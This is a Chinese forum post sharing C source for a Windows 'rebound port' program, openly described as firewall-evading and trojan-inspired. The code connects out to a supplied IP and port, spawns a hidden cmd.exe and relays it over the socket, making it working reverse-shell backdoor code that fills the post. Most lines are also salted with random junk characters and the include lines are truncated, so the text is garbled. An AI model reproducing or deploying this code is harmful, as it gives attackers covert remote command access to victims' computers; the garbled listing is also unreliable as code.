社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6179阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 E*& vy  
B^=-Z8  
/* ============================== pp?D7S  
Rebound port in Windows NT m[osg< CR_  
By wind,2006/7 TvoyZW\?w  
===============================*/ DDQx g  
#include E, Z$pKL?  
#include 5PCqYN(:B  
_~m5^Q&  
#pragma comment(lib,"wsock32.lib") L<c4kw  
t|?ez4/{z  
void OutputShell(); j a[Et/r  
SOCKET sClient; @/~omg}R  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [&[k^C5  
HdI8f!X'TG  
void main(int argc,char **argv) PN%zIkbo  
{ ^S<Y>Nm]  
WSADATA stWsaData; ho{*Cjv  
int nRet; UBKu /@[f@  
SOCKADDR_IN stSaiClient,stSaiServer; n6=By|jRh  
D>r&}6<  
if(argc != 3) &A/]pi-\  
{ .Z`R^2MU  
printf("Useage:\n\rRebound DestIP DestPort\n"); >~rTqtKd  
return; FgnTGY}  
} 3d8L6GJ  
[Y/} ^  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2>9C-VL2  
hF?1y`20  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1#g2A0U,  
L&8~f]  
stSaiClient.sin_family = AF_INET; jwe*(k]z  
stSaiClient.sin_port = htons(0); lgAoJ[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g9pZ\$J&  
~\SGb_2  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OnziG+ak  
{ $p8xEcQdU#  
printf("Bind Socket Failed!\n"); T~?Ff|qFC  
return; ' {OgN}'{  
} T"Y+m-<%  
G5_=H,Vmd  
stSaiServer.sin_family = AF_INET; g'f@H-KCD  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tIi&;tw]  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); BR_1MG'{)$  
ldcqe$7,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 68|E9^`l  
{ iU918!!N   
printf("Connect Error!"); LP^$AAy  
return; ITQA0PI SL  
} w(Ovr`o?9t  
OutputShell(); )}R0Y=e  
} KkyVSoD\  
}Bh8=F3O Q  
void OutputShell() k}CVQ@nd  
{ @IKYh{j4  
char szBuff[1024]; "^[ 'y7i  
SECURITY_ATTRIBUTES stSecurityAttributes; bP#:Oi0v`  
OSVERSIONINFO stOsversionInfo; pX<`+t[  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; atH*5X6d  
STARTUPINFO stStartupInfo; 7"D", 1h  
char *szShell; ]%SH>  
PROCESS_INFORMATION stProcessInformation; (Rh,,  
unsigned long lBytesRead; 2"Q|+-Io  
q$UJ$ 7=f8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6v!`1} ~  
=?* !"&h  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); "cGk)s  
stSecurityAttributes.lpSecurityDescriptor = 0; N% B>M7-=  
stSecurityAttributes.bInheritHandle = TRUE; wu6;.xTLl  
8rGgF]F  
g-k|>-h  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nAato\mM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j_[tu!~  
z9Mfd#5?>P  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %0?KMRr  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0auYG><=  
stStartupInfo.wShowWindow = SW_HIDE; >uB?rGcM  
stStartupInfo.hStdInput = hReadPipe; By,eETU]  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b_krk\e@S  
aKDKmHd  
GetVersionEx(&stOsversionInfo); ;1=1:S8  
<=&`ZH   
switch(stOsversionInfo.dwPlatformId) r<EY]f^`u  
{ R^fPIv`q  
case 1: uMv,zO5  
szShell = "command.com"; bWS&Yk(  
break; FxY}m  
default: 3`?7 <YJ  
szShell = "cmd.exe"; T<>,lQs(a  
break; E=Bf1/c\  
} Y-z(zS^1  
\l0[rcEf  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =%O6:YM   
fbvL7* (  
send(sClient,szMsg,77,0); /s?`&1v|r  
while(1) n&/ `  
{ DfD&)tsMQ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); N>1em!AS  
if(lBytesRead) Oo~; L,  
{ W*:.Gxv]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6_;icpN]  
send(sClient,szBuff,lBytesRead,0); MchA{p&Ol  
} {Mk6T1Bkq  
else `(;m?<%  
{ a-tmq]]E  
lBytesRead=recv(sClient,szBuff,1024,0); |-ALklXr  
if(lBytesRead<=0) break; Rv>-4@fMJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #X$\&,Yn"  
} W@IQ^ }E  
} ,qwuLBW  
ue"~9JK.  
return; ATyEf5Id_  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八